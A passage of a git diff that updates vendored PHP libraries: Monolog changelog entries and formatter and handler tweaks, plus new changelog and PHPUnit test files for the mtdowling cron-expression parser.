PSR-3 compliance + * Added LogstashFormatter (combine with SocketHandler or StreamHandler to send logs to Logstash) + * Added PushoverHandler to send mobile notifications + * Added CouchDBHandler and DoctrineCouchDBHandler + * Added RavenHandler to send data to Sentry servers + * Added support for the new MongoClient class in MongoDBHandler + * Added microsecond precision to log records' timestamps + * Added `$flushOnOverflow` param to BufferHandler to flush by batches instead of losing + the oldest entries + * Fixed normalization of objects with cyclic references + +### 1.2.1 (2012-08-29) + + * Added new $logopts arg to SyslogHandler to provide custom openlog options + * Fixed fatal error in SyslogHandler + +### 1.2.0 (2012-08-18) + + * Added AmqpHandler (for use with AMQP servers) + * Added CubeHandler + * Added NativeMailerHandler::addHeader() to send custom headers in mails + * Added the possibility to specify more than one recipient in NativeMailerHandler + * Added the possibility to specify float timeouts in SocketHandler + * Added NOTICE and EMERGENCY levels to conform with RFC 5424 + * Fixed the log records to use the php default timezone instead of UTC + * Fixed BufferHandler not being flushed properly on PHP fatal errors + * Fixed normalization of exotic resource types + * Fixed the default format of the SyslogHandler to avoid duplicating datetimes in syslog + +### 1.1.0 (2012-04-23) + + * Added Monolog\Logger::isHandling() to check if a handler will + handle the given log level + * Added ChromePHPHandler + * Added MongoDBHandler + * Added GelfHandler (for use with Graylog2 servers) + * Added SocketHandler (for use with syslog-ng for example) + * Added NormalizerFormatter + * Added the possibility to change the activation strategy of the FingersCrossedHandler + * Added possibility to show microseconds in logs + * Added `server` and `referer` to WebProcessor output + +### 1.0.2 (2011-10-24) + + * Fixed bug in IE with large response headers and FirePHPHandler + +### 1.0.1 (2011-08-25) + + * Added MemoryPeakUsageProcessor and MemoryUsageProcessor + * Added Monolog\Logger::getName() to get a logger's channel name + +### 1.0.0 (2011-07-06) + + * Added IntrospectionProcessor to get info from where the logger was called + * Fixed WebProcessor in CLI + +### 1.0.0-RC1 (2011-07-01) + + * Initial release diff --git a/vendor/monolog/monolog/composer.json b/vendor/monolog/monolog/composer.json index d2deab7b..aecc40f3 100644 --- a/vendor/monolog/monolog/composer.json +++ b/vendor/monolog/monolog/composer.json @@ -54,5 +54,7 @@ "test": "vendor/bin/phpunit", "phpstan": "vendor/bin/phpstan analyse" }, - "lock": false + "config": { + "lock": false + } } diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php index 86966b07..4c5422d5 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php @@ -38,9 +38,11 @@ class JsonFormatter extends NormalizerFormatter /** * @param int $batchMode * @param bool $appendNewline + * @param int $maxDepth */ - public function __construct($batchMode = self::BATCH_MODE_JSON, $appendNewline = true) + public function __construct($batchMode = self::BATCH_MODE_JSON, $appendNewline = true, $maxDepth = 9) { + parent::__construct(null, $maxDepth); $this->batchMode = $batchMode; $this->appendNewline = $appendNewline; } @@ -141,8 +143,8 @@ protected function formatBatchNewlines(array $records) */ protected function normalize($data, $depth = 0) { - if ($depth > 9) { - return 'Over 9 levels deep, aborting normalization'; + if ($depth > $this->maxDepth) { + return 'Over '.$this->maxDepth.' levels deep, aborting normalization'; } if (is_array($data)) { diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php index 3a01f2ce..010466b4 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php @@ -24,13 +24,16 @@ class NormalizerFormatter implements FormatterInterface const SIMPLE_DATE = "Y-m-d H:i:s"; protected $dateFormat; + protected $maxDepth; /** * @param string $dateFormat The format of the timestamp: one supported by DateTime::format + * @param int $maxDepth */ - public function __construct($dateFormat = null) + public function __construct($dateFormat = null, $maxDepth = 9) { $this->dateFormat = $dateFormat ?: static::SIMPLE_DATE; + $this->maxDepth = $maxDepth; if (!function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s NormalizerFormatter'); } @@ -56,10 +59,26 @@ public function formatBatch(array $records) return $records; } + /** + * @return int + */ + public function getMaxDepth() + { + return $this->maxDepth; + } + + /** + * @param int $maxDepth + */ + public function setMaxDepth($maxDepth) + { + $this->maxDepth = $maxDepth; + } + protected function normalize($data, $depth = 0) { - if ($depth > 9) { - return 'Over 9 levels deep, aborting normalization'; + if ($depth > $this->maxDepth) { + return 'Over '.$this->maxDepth.' levels deep, aborting normalization'; } if (null === $data || is_scalar($data)) { @@ -177,4 +196,4 @@ protected function toJson($data, $ignoreErrors = false) { return Utils::jsonEncode($data, null, $ignoreErrors); } -} +} \ No newline at end of file diff --git a/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php index 3f0956a9..de039a86 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php @@ -50,7 +50,11 @@ protected function send($content, array $records) { $message = clone $this->message; $message->setBody($content); - $message->setDate(time()); + if (version_compare(\Swift::VERSION, '6.0.0', '>=')) { + $message->setDate(new \DateTimeImmutable()); + } else { + $message->setDate(time()); + } $ch = curl_init(); diff --git a/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php index ad6960cb..74a613cb 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php @@ -23,6 +23,10 @@ */ class StreamHandler extends AbstractProcessingHandler { + /** @private 512KB */ + const CHUNK_SIZE = 524288; + + /** @var resource|null */ protected $stream; protected $url; private $errorMessage; @@ -45,6 +49,7 @@ public function __construct($stream, $level = Logger::DEBUG, $bubble = true, $fi parent::__construct($level, $bubble); if (is_resource($stream)) { $this->stream = $stream; + $this->streamSetChunkSize(); } elseif (is_string($stream)) { $this->url = Utils::canonicalizePath($stream); } else { @@ -109,6 +114,7 @@ protected function write(array $record) throw new \UnexpectedValueException(sprintf('The stream or file "%s" could not be opened in append mode: '.$this->errorMessage, $this->url)); } + $this->streamSetChunkSize(); } if ($this->useLocking) { @@ -133,6 +139,15 @@ protected function streamWrite($stream, array $record) fwrite($stream, (string) $record['formatted']); } + protected function streamSetChunkSize() + { + if (version_compare(PHP_VERSION, '5.4.0', '>=')) { + return stream_set_chunk_size($this->stream, self::CHUNK_SIZE); + } + + return false; + } + private function customErrorHandler($code, $msg) { $this->errorMessage = preg_replace('{^(fopen|mkdir)\(.*?\): }', '', $msg); diff --git a/vendor/mtdowling/cron-expression/CHANGELOG.md b/vendor/mtdowling/cron-expression/CHANGELOG.md new file mode 100644 index 00000000..8ddab905 --- /dev/null +++ b/vendor/mtdowling/cron-expression/CHANGELOG.md @@ -0,0 +1,36 @@ +# Change Log + +## [1.2.0] - 2017-01-22 +### Added +- Added IDE, CodeSniffer, and StyleCI.IO support + +### Changed +- Switched to PSR-4 Autoloading + +### Fixed +- 0 step expressions are handled better +- Fixed `DayOfMonth` validation to be more strict +- Typos + +## [1.1.0] - 2016-01-26 +### Added +- Support for non-hourly offset timezones +- Checks for valid expressions + +### Changed +- Max Iterations no longer hardcoded for `getRunDate()` +- Supports DateTimeImmutable for newer PHP verions + +### Fixed +- Fixed looping bug for PHP 7 when determining the last specified weekday of a month + +## [1.0.3] - 2013-11-23 +### Added +- Now supports expressions with any number of extra spaces, tabs, or newlines + +### Changed +- Using static instead of self in `CronExpression::factory` + +### Fixed +- Fixes issue [#28](https://github.com/mtdowling/cron-expression/issues/28) where PHP increments of ranges were failing due to PHP casting hyphens to 0 +- Only set default timezone if the given $currentTime is not a DateTime instance ([#34](https://github.com/mtdowling/cron-expression/issues/34)) diff --git a/vendor/mtdowling/cron-expression/tests/Cron/AbstractFieldTest.php b/vendor/mtdowling/cron-expression/tests/Cron/AbstractFieldTest.php new file mode 100644 index 00000000..a1d653b2 --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/AbstractFieldTest.php @@ -0,0 +1,86 @@ + + */ +class AbstractFieldTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\AbstractField::isRange + */ + public function testTestsIfRange() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->isRange('1-2')); + $this->assertFalse($f->isRange('2')); + } + + /** + * @covers Cron\AbstractField::isIncrementsOfRanges + */ + public function testTestsIfIncrementsOfRanges() + { + $f = new DayOfWeekField(); + $this->assertFalse($f->isIncrementsOfRanges('1-2')); + $this->assertTrue($f->isIncrementsOfRanges('1/2')); + $this->assertTrue($f->isIncrementsOfRanges('*/2')); + $this->assertTrue($f->isIncrementsOfRanges('3-12/2')); + } + + /** + * @covers Cron\AbstractField::isInRange + */ + public function testTestsIfInRange() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->isInRange('1', '1-2')); + $this->assertTrue($f->isInRange('2', '1-2')); + $this->assertTrue($f->isInRange('5', '4-12')); + $this->assertFalse($f->isInRange('3', '4-12')); + $this->assertFalse($f->isInRange('13', '4-12')); + } + + /** + * @covers Cron\AbstractField::isInIncrementsOfRanges + */ + public function testTestsIfInIncrementsOfRanges() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->isInIncrementsOfRanges('3', '3-59/2')); + $this->assertTrue($f->isInIncrementsOfRanges('13', '3-59/2')); + $this->assertTrue($f->isInIncrementsOfRanges('15', '3-59/2')); + $this->assertTrue($f->isInIncrementsOfRanges('14', '*/2')); + $this->assertFalse($f->isInIncrementsOfRanges('2', '3-59/13')); + $this->assertFalse($f->isInIncrementsOfRanges('14', '*/13')); + $this->assertFalse($f->isInIncrementsOfRanges('14', '3-59/2')); + $this->assertFalse($f->isInIncrementsOfRanges('3', '2-59')); + $this->assertFalse($f->isInIncrementsOfRanges('3', '2')); + $this->assertFalse($f->isInIncrementsOfRanges('3', '*')); + $this->assertFalse($f->isInIncrementsOfRanges('0', '*/0')); + $this->assertFalse($f->isInIncrementsOfRanges('1', '*/0')); + + $this->assertTrue($f->isInIncrementsOfRanges('4', '4/10')); + $this->assertTrue($f->isInIncrementsOfRanges('14', '4/10')); + $this->assertTrue($f->isInIncrementsOfRanges('34', '4/10')); + } + + /** + * @covers Cron\AbstractField::isSatisfied + */ + public function testTestsIfSatisfied() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->isSatisfied('12', '3-13')); + $this->assertTrue($f->isSatisfied('15', '3-59/12')); + $this->assertTrue($f->isSatisfied('12', '*')); + $this->assertTrue($f->isSatisfied('12', '12')); + $this->assertFalse($f->isSatisfied('12', '3-11')); + $this->assertFalse($f->isSatisfied('12', '3-59/13')); + $this->assertFalse($f->isSatisfied('12', '11')); + } +} diff --git a/vendor/mtdowling/cron-expression/tests/Cron/CronExpressionTest.php b/vendor/mtdowling/cron-expression/tests/Cron/CronExpressionTest.php new file mode 100644 index 00000000..f6fedb98 --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/CronExpressionTest.php @@ -0,0 +1,414 @@ + + */ +class CronExpressionTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\CronExpression::factory + */ + public function testFactoryRecognizesTemplates() + { + $this->assertEquals('0 0 1 1 *', CronExpression::factory('@annually')->getExpression()); + $this->assertEquals('0 0 1 1 *', CronExpression::factory('@yearly')->getExpression()); + $this->assertEquals('0 0 * * 0', CronExpression::factory('@weekly')->getExpression()); + } + + /** + * @covers Cron\CronExpression::__construct + * @covers Cron\CronExpression::getExpression + * @covers Cron\CronExpression::__toString + */ + public function testParsesCronSchedule() + { + // '2010-09-10 12:00:00' + $cron = CronExpression::factory('1 2-4 * 4,5,6 */3'); + $this->assertEquals('1', $cron->getExpression(CronExpression::MINUTE)); + $this->assertEquals('2-4', $cron->getExpression(CronExpression::HOUR)); + $this->assertEquals('*', $cron->getExpression(CronExpression::DAY)); + $this->assertEquals('4,5,6', $cron->getExpression(CronExpression::MONTH)); + $this->assertEquals('*/3', $cron->getExpression(CronExpression::WEEKDAY)); + $this->assertEquals('1 2-4 * 4,5,6 */3', $cron->getExpression()); + $this->assertEquals('1 2-4 * 4,5,6 */3', (string) $cron); + $this->assertNull($cron->getExpression('foo')); + + try { + $cron = CronExpression::factory('A 1 2 3 4'); + $this->fail('Validation exception not thrown'); + } catch (InvalidArgumentException $e) { + } + } + + /** + * @covers Cron\CronExpression::__construct + * @covers Cron\CronExpression::getExpression + * @dataProvider scheduleWithDifferentSeparatorsProvider + */ + public function testParsesCronScheduleWithAnySpaceCharsAsSeparators($schedule, array $expected) + { + $cron = CronExpression::factory($schedule); + $this->assertEquals($expected[0], $cron->getExpression(CronExpression::MINUTE)); + $this->assertEquals($expected[1], $cron->getExpression(CronExpression::HOUR)); + $this->assertEquals($expected[2], $cron->getExpression(CronExpression::DAY)); + $this->assertEquals($expected[3], $cron->getExpression(CronExpression::MONTH)); + $this->assertEquals($expected[4], $cron->getExpression(CronExpression::WEEKDAY)); + $this->assertEquals($expected[5], $cron->getExpression(CronExpression::YEAR)); + } + + /** + * Data provider for testParsesCronScheduleWithAnySpaceCharsAsSeparators + * + * @return array + */ + public static function scheduleWithDifferentSeparatorsProvider() + { + return array( + array("*\t*\t*\t*\t*\t*", array('*', '*', '*', '*', '*', '*')), + array("* * * * * *", array('*', '*', '*', '*', '*', '*')), + array("* \t * \t * \t * \t * \t *", array('*', '*', '*', '*', '*', '*')), + array("*\t \t*\t \t*\t \t*\t \t*\t \t*", array('*', '*', '*', '*', '*', '*')), + ); + } + + /** + * @covers Cron\CronExpression::__construct + * @covers Cron\CronExpression::setExpression + * @covers Cron\CronExpression::setPart + * @expectedException InvalidArgumentException + */ + public function testInvalidCronsWillFail() + { + // Only four values + $cron = CronExpression::factory('* * * 1'); + } + + /** + * @covers Cron\CronExpression::setPart + * @expectedException InvalidArgumentException + */ + public function testInvalidPartsWillFail() + { + // Only four values + $cron = CronExpression::factory('* * * * *'); + $cron->setPart(1, 'abc'); + } + + /** + * Data provider for cron schedule + * + * @return array + */ + public function scheduleProvider() + { + return array( + array('*/2 */2 * * *', '2015-08-10 21:47:27', '2015-08-10 22:00:00', false), + array('* * * * *', '2015-08-10 21:50:37', '2015-08-10 21:50:00', true), + array('* 20,21,22 * * *', '2015-08-10 21:50:00', '2015-08-10 21:50:00', true), + // Handles CSV values + array('* 20,22 * * *', '2015-08-10 21:50:00', '2015-08-10 22:00:00', false), + // CSV values can be complex + array('* 5,21-22 * * *', '2015-08-10 21:50:00', '2015-08-10 21:50:00', true), + array('7-9 * */9 * *', '2015-08-10 22:02:33', '2015-08-18 00:07:00', false), + // 15th minute, of the second hour, every 15 days, in January, every Friday + array('1 * * * 7', '2015-08-10 21:47:27', '2015-08-16 00:01:00', false), + // Test with exact times + array('47 21 * * *', strtotime('2015-08-10 21:47:30'), '2015-08-10 21:47:00', true), + // Test Day of the week (issue #1) + // According cron implementation, 0|7 = sunday, 1 => monday, etc + array('* * * * 0', strtotime('2011-06-15 23:09:00'), '2011-06-19 00:00:00', false), + array('* * * * 7', strtotime('2011-06-15 23:09:00'), '2011-06-19 00:00:00', false), + array('* * * * 1', strtotime('2011-06-15 23:09:00'), '2011-06-20 00:00:00', false), + // Should return the sunday date as 7 equals 0 + array('0 0 * * MON,SUN', strtotime('2011-06-15 23:09:00'), '2011-06-19 00:00:00', false), + array('0 0 * * 1,7', strtotime('2011-06-15 23:09:00'), '2011-06-19 00:00:00', false), + array('0 0 * * 0-4', strtotime('2011-06-15 23:09:00'), '2011-06-16 00:00:00', false), + array('0 0 * * 7-4', strtotime('2011-06-15 23:09:00'), '2011-06-16 00:00:00', false), + array('0 0 * * 4-7', strtotime('2011-06-15 23:09:00'), '2011-06-16 00:00:00', false), + array('0 0 * * 7-3', strtotime('2011-06-15 23:09:00'), '2011-06-19 00:00:00', false), + array('0 0 * * 3-7', strtotime('2011-06-15 23:09:00'), '2011-06-16 00:00:00', false), + array('0 0 * * 3-7', strtotime('2011-06-18 23:09:00'), '2011-06-19 00:00:00', false), + // Test lists of values and ranges (Abhoryo) + array('0 0 * * 2-7', strtotime('2011-06-20 23:09:00'), '2011-06-21 00:00:00', false), + array('0 0 * * 0,2-6', strtotime('2011-06-20 23:09:00'), '2011-06-21 00:00:00', false), + array('0 0 * * 2-7', strtotime('2011-06-18 23:09:00'), '2011-06-19 00:00:00', false), + array('0 0 * * 4-7', strtotime('2011-07-19 00:00:00'), '2011-07-21 00:00:00', false), + // Test increments of ranges + array('0-12/4 * * * *', strtotime('2011-06-20 12:04:00'), '2011-06-20 12:04:00', true), + array('4-59/2 * * * *', strtotime('2011-06-20 12:04:00'), '2011-06-20 12:04:00', true), + array('4-59/2 * * * *', strtotime('2011-06-20 12:06:00'), '2011-06-20 12:06:00', true), + array('4-59/3 * * * *', strtotime('2011-06-20 12:06:00'), '2011-06-20 12:07:00', false), + //array('0 0 * * 0,2-6', strtotime('2011-06-20 23:09:00'), '2011-06-21 00:00:00', false), + // Test Day of the Week and the Day of the Month (issue #1) + array('0 0 1 1 0', strtotime('2011-06-15 23:09:00'), '2012-01-01 00:00:00', false), + array('0 0 1 JAN 0', strtotime('2011-06-15 23:09:00'), '2012-01-01 00:00:00', false), + array('0 0 1 * 0', strtotime('2011-06-15 23:09:00'), '2012-01-01 00:00:00', false), + array('0 0 L * *', strtotime('2011-07-15 00:00:00'), '2011-07-31 00:00:00', false), + // Test the W day of the week modifier for day of the month field + array('0 0 2W * *', strtotime('2011-07-01 00:00:00'), '2011-07-01 00:00:00', true), + array('0 0 1W * *', strtotime('2011-05-01 00:00:00'), '2011-05-02 00:00:00', false), + array('0 0 1W * *', strtotime('2011-07-01 00:00:00'), '2011-07-01 00:00:00', true), + array('0 0 3W * *', strtotime('2011-07-01 00:00:00'), '2011-07-04 00:00:00', false), + array('0 0 16W * *', strtotime('2011-07-01 00:00:00'), '2011-07-15 00:00:00', false), + array('0 0 28W * *', strtotime('2011-07-01 00:00:00'), '2011-07-28 00:00:00', false), + array('0 0 30W * *', strtotime('2011-07-01 00:00:00'), '2011-07-29 00:00:00', false), + array('0 0 31W * *', strtotime('2011-07-01 00:00:00'), '2011-07-29 00:00:00', false), + // Test the year field + array('* * * * * 2012', strtotime('2011-05-01 00:00:00'), '2012-01-01 00:00:00', false), + // Test the last weekday of a month + array('* * * * 5L', strtotime('2011-07-01 00:00:00'), '2011-07-29 00:00:00', false), + array('* * * * 6L', strtotime('2011-07-01 00:00:00'), '2011-07-30 00:00:00', false), + array('* * * * 7L', strtotime('2011-07-01 00:00:00'), '2011-07-31 00:00:00', false), + array('* * * * 1L', strtotime('2011-07-24 00:00:00'), '2011-07-25 00:00:00', false), + array('* * * * TUEL', strtotime('2011-07-24 00:00:00'), '2011-07-26 00:00:00', false), + array('* * * 1 5L', strtotime('2011-12-25 00:00:00'), '2012-01-27 00:00:00', false), + // Test the hash symbol for the nth weekday of a given month + array('* * * * 5#2', strtotime('2011-07-01 00:00:00'), '2011-07-08 00:00:00', false), + array('* * * * 5#1', strtotime('2011-07-01 00:00:00'), '2011-07-01 00:00:00', true), + array('* * * * 3#4', strtotime('2011-07-01 00:00:00'), '2011-07-27 00:00:00', false), + ); + } + + /** + * @covers Cron\CronExpression::isDue + * @covers Cron\CronExpression::getNextRunDate + * @covers Cron\DayOfMonthField + * @covers Cron\DayOfWeekField + * @covers Cron\MinutesField + * @covers Cron\HoursField + * @covers Cron\MonthField + * @covers Cron\YearField + * @covers Cron\CronExpression::getRunDate + * @dataProvider scheduleProvider + */ + public function testDeterminesIfCronIsDue($schedule, $relativeTime, $nextRun, $isDue) + { + $relativeTimeString = is_int($relativeTime) ? date('Y-m-d H:i:s', $relativeTime) : $relativeTime; + + // Test next run date + $cron = CronExpression::factory($schedule); + if (is_string($relativeTime)) { + $relativeTime = new DateTime($relativeTime); + } elseif (is_int($relativeTime)) { + $relativeTime = date('Y-m-d H:i:s', $relativeTime); + } + $this->assertEquals($isDue, $cron->isDue($relativeTime)); + $next = $cron->getNextRunDate($relativeTime, 0, true); + $this->assertEquals(new DateTime($nextRun), $next); + } + + /** + * @covers Cron\CronExpression::isDue + */ + public function testIsDueHandlesDifferentDates() + { + $cron = CronExpression::factory('* * * * *'); + $this->assertTrue($cron->isDue()); + $this->assertTrue($cron->isDue('now')); + $this->assertTrue($cron->isDue(new DateTime('now'))); + $this->assertTrue($cron->isDue(date('Y-m-d H:i'))); + } + + /** + * @covers Cron\CronExpression::isDue + */ + public function testIsDueHandlesDifferentTimezones() + { + $cron = CronExpression::factory('0 15 * * 3'); //Wednesday at 15:00 + $date = '2014-01-01 15:00'; //Wednesday + $utc = new DateTimeZone('UTC'); + $amsterdam = new DateTimeZone('Europe/Amsterdam'); + $tokyo = new DateTimeZone('Asia/Tokyo'); + + date_default_timezone_set('UTC'); + $this->assertTrue($cron->isDue(new DateTime($date, $utc))); + $this->assertFalse($cron->isDue(new DateTime($date, $amsterdam))); + $this->assertFalse($cron->isDue(new DateTime($date, $tokyo))); + + date_default_timezone_set('Europe/Amsterdam'); + $this->assertFalse($cron->isDue(new DateTime($date, $utc))); + $this->assertTrue($cron->isDue(new DateTime($date, $amsterdam))); + $this->assertFalse($cron->isDue(new DateTime($date, $tokyo))); + + date_default_timezone_set('Asia/Tokyo'); + $this->assertFalse($cron->isDue(new DateTime($date, $utc))); + $this->assertFalse($cron->isDue(new DateTime($date, $amsterdam))); + $this->assertTrue($cron->isDue(new DateTime($date, $tokyo))); + } + + /** + * @covers Cron\CronExpression::getPreviousRunDate + */ + public function testCanGetPreviousRunDates() + { + $cron = CronExpression::factory('* * * * *'); + $next = $cron->getNextRunDate('now'); + $two = $cron->getNextRunDate('now', 1); + $this->assertEquals($next, $cron->getPreviousRunDate($two)); + + $cron = CronExpression::factory('* */2 * * *'); + $next = $cron->getNextRunDate('now'); + $two = $cron->getNextRunDate('now', 1); + $this->assertEquals($next, $cron->getPreviousRunDate($two)); + + $cron = CronExpression::factory('* * * */2 *'); + $next = $cron->getNextRunDate('now'); + $two = $cron->getNextRunDate('now', 1); + $this->assertEquals($next, $cron->getPreviousRunDate($two)); + } + + /** + * @covers Cron\CronExpression::getMultipleRunDates + */ + public function testProvidesMultipleRunDates() + { + $cron = CronExpression::factory('*/2 * * * *'); + $this->assertEquals(array( + new DateTime('2008-11-09 00:00:00'), + new DateTime('2008-11-09 00:02:00'), + new DateTime('2008-11-09 00:04:00'), + new DateTime('2008-11-09 00:06:00') + ), $cron->getMultipleRunDates(4, '2008-11-09 00:00:00', false, true)); + } + + /** + * @covers Cron\CronExpression::getMultipleRunDates + * @covers Cron\CronExpression::setMaxIterationCount + */ + public function testProvidesMultipleRunDatesForTheFarFuture() { + // Fails with the default 1000 iteration limit + $cron = CronExpression::factory('0 0 12 1 * */2'); + $cron->setMaxIterationCount(2000); + $this->assertEquals(array( + new DateTime('2016-01-12 00:00:00'), + new DateTime('2018-01-12 00:00:00'), + new DateTime('2020-01-12 00:00:00'), + new DateTime('2022-01-12 00:00:00'), + new DateTime('2024-01-12 00:00:00'), + new DateTime('2026-01-12 00:00:00'), + new DateTime('2028-01-12 00:00:00'), + new DateTime('2030-01-12 00:00:00'), + new DateTime('2032-01-12 00:00:00'), + ), $cron->getMultipleRunDates(9, '2015-04-28 00:00:00', false, true)); + } + + /** + * @covers Cron\CronExpression + */ + public function testCanIterateOverNextRuns() + { + $cron = CronExpression::factory('@weekly'); + $nextRun = $cron->getNextRunDate("2008-11-09 08:00:00"); + $this->assertEquals($nextRun, new DateTime("2008-11-16 00:00:00")); + + // true is cast to 1 + $nextRun = $cron->getNextRunDate("2008-11-09 00:00:00", true, true); + $this->assertEquals($nextRun, new DateTime("2008-11-16 00:00:00")); + + // You can iterate over them + $nextRun = $cron->getNextRunDate($cron->getNextRunDate("2008-11-09 00:00:00", 1, true), 1, true); + $this->assertEquals($nextRun, new DateTime("2008-11-23 00:00:00")); + + // You can skip more than one + $nextRun = $cron->getNextRunDate("2008-11-09 00:00:00", 2, true); + $this->assertEquals($nextRun, new DateTime("2008-11-23 00:00:00")); + $nextRun = $cron->getNextRunDate("2008-11-09 00:00:00", 3, true); + $this->assertEquals($nextRun, new DateTime("2008-11-30 00:00:00")); + } + + /** + * @covers Cron\CronExpression::getRunDate + */ + public function testSkipsCurrentDateByDefault() + { + $cron = CronExpression::factory('* * * * *'); + $current = new DateTime('now'); + $next = $cron->getNextRunDate($current); + $nextPrev = $cron->getPreviousRunDate($next); + $this->assertEquals($current->format('Y-m-d H:i:00'), $nextPrev->format('Y-m-d H:i:s')); + } + + /** + * @covers Cron\CronExpression::getRunDate + * @ticket 7 + */ + public function testStripsForSeconds() + { + $cron = CronExpression::factory('* * * * *'); + $current = new DateTime('2011-09-27 10:10:54'); + $this->assertEquals('2011-09-27 10:11:00', $cron->getNextRunDate($current)->format('Y-m-d H:i:s')); + } + + /** + * @covers Cron\CronExpression::getRunDate + */ + public function testFixesPhpBugInDateIntervalMonth() + { + $cron = CronExpression::factory('0 0 27 JAN *'); + $this->assertEquals('2011-01-27 00:00:00', $cron->getPreviousRunDate('2011-08-22 00:00:00')->format('Y-m-d H:i:s')); + } + + public function testIssue29() + { + $cron = CronExpression::factory('@weekly'); + $this->assertEquals( + '2013-03-10 00:00:00', + $cron->getPreviousRunDate('2013-03-17 00:00:00')->format('Y-m-d H:i:s') + ); + } + + /** + * @see https://github.com/mtdowling/cron-expression/issues/20 + */ + public function testIssue20() { + $e = CronExpression::factory('* * * * MON#1'); + $this->assertTrue($e->isDue(new DateTime('2014-04-07 00:00:00'))); + $this->assertFalse($e->isDue(new DateTime('2014-04-14 00:00:00'))); + $this->assertFalse($e->isDue(new DateTime('2014-04-21 00:00:00'))); + + $e = CronExpression::factory('* * * * SAT#2'); + $this->assertFalse($e->isDue(new DateTime('2014-04-05 00:00:00'))); + $this->assertTrue($e->isDue(new DateTime('2014-04-12 00:00:00'))); + $this->assertFalse($e->isDue(new DateTime('2014-04-19 00:00:00'))); + + $e = CronExpression::factory('* * * * SUN#3'); + $this->assertFalse($e->isDue(new DateTime('2014-04-13 00:00:00'))); + $this->assertTrue($e->isDue(new DateTime('2014-04-20 00:00:00'))); + $this->assertFalse($e->isDue(new DateTime('2014-04-27 00:00:00'))); + } + + /** + * @covers Cron\CronExpression::getRunDate + */ + public function testKeepOriginalTime() + { + $now = new \DateTime; + $strNow = $now->format(DateTime::ISO8601); + $cron = CronExpression::factory('0 0 * * *'); + $cron->getPreviousRunDate($now); + $this->assertEquals($strNow, $now->format(DateTime::ISO8601)); + } + + /** + * @covers Cron\CronExpression::__construct + * @covers Cron\CronExpression::factory + * @covers Cron\CronExpression::isValidExpression + * @covers Cron\CronExpression::setExpression + * @covers Cron\CronExpression::setPart + */ + public function testValidationWorks() + { + // Invalid. Only four values + $this->assertFalse(CronExpression::isValidExpression('* * * 1')); + // Valid + $this->assertTrue(CronExpression::isValidExpression('* * * * 1')); + } +} diff --git a/vendor/mtdowling/cron-expression/tests/Cron/DayOfMonthFieldTest.php b/vendor/mtdowling/cron-expression/tests/Cron/DayOfMonthFieldTest.php new file mode 100644 index 00000000..eff04557 --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/DayOfMonthFieldTest.php @@ -0,0 +1,61 @@ + + */ +class DayOfMonthFieldTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\DayOfMonthField::validate + */ + public function testValidatesField() + { + $f = new DayOfMonthField(); + $this->assertTrue($f->validate('1')); + $this->assertTrue($f->validate('*')); + $this->assertTrue($f->validate('5W,L')); + $this->assertFalse($f->validate('1.')); + } + + /** + * @covers Cron\DayOfMonthField::isSatisfiedBy + */ + public function testChecksIfSatisfied() + { + $f = new DayOfMonthField(); + $this->assertTrue($f->isSatisfiedBy(new DateTime(), '?')); + } + + /** + * @covers Cron\DayOfMonthField::increment + */ + public function testIncrementsDate() + { + $d = new DateTime('2011-03-15 11:15:00'); + $f = new DayOfMonthField(); + $f->increment($d); + $this->assertEquals('2011-03-16 00:00:00', $d->format('Y-m-d H:i:s')); + + $d = new DateTime('2011-03-15 11:15:00'); + $f->increment($d, true); + $this->assertEquals('2011-03-14 23:59:00', $d->format('Y-m-d H:i:s')); + } + + /** + * Day of the month cannot accept a 0 value, it must be between 1 and 31 + * See Github issue #120 + * + * @since 2017-01-22 + */ + public function testDoesNotAccept0Date() + { + $f = new DayOfMonthField(); + $this->assertFalse($f->validate(0)); + } +} diff --git a/vendor/mtdowling/cron-expression/tests/Cron/DayOfWeekFieldTest.php b/vendor/mtdowling/cron-expression/tests/Cron/DayOfWeekFieldTest.php new file mode 100644 index 00000000..182d5e90 --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/DayOfWeekFieldTest.php @@ -0,0 +1,117 @@ + + */ +class DayOfWeekFieldTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\DayOfWeekField::validate + */ + public function testValidatesField() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->validate('1')); + $this->assertTrue($f->validate('*')); + $this->assertTrue($f->validate('*/3,1,1-12')); + $this->assertTrue($f->validate('SUN-2')); + $this->assertFalse($f->validate('1.')); + } + + /** + * @covers Cron\DayOfWeekField::isSatisfiedBy + */ + public function testChecksIfSatisfied() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->isSatisfiedBy(new DateTime(), '?')); + } + + /** + * @covers Cron\DayOfWeekField::increment + */ + public function testIncrementsDate() + { + $d = new DateTime('2011-03-15 11:15:00'); + $f = new DayOfWeekField(); + $f->increment($d); + $this->assertEquals('2011-03-16 00:00:00', 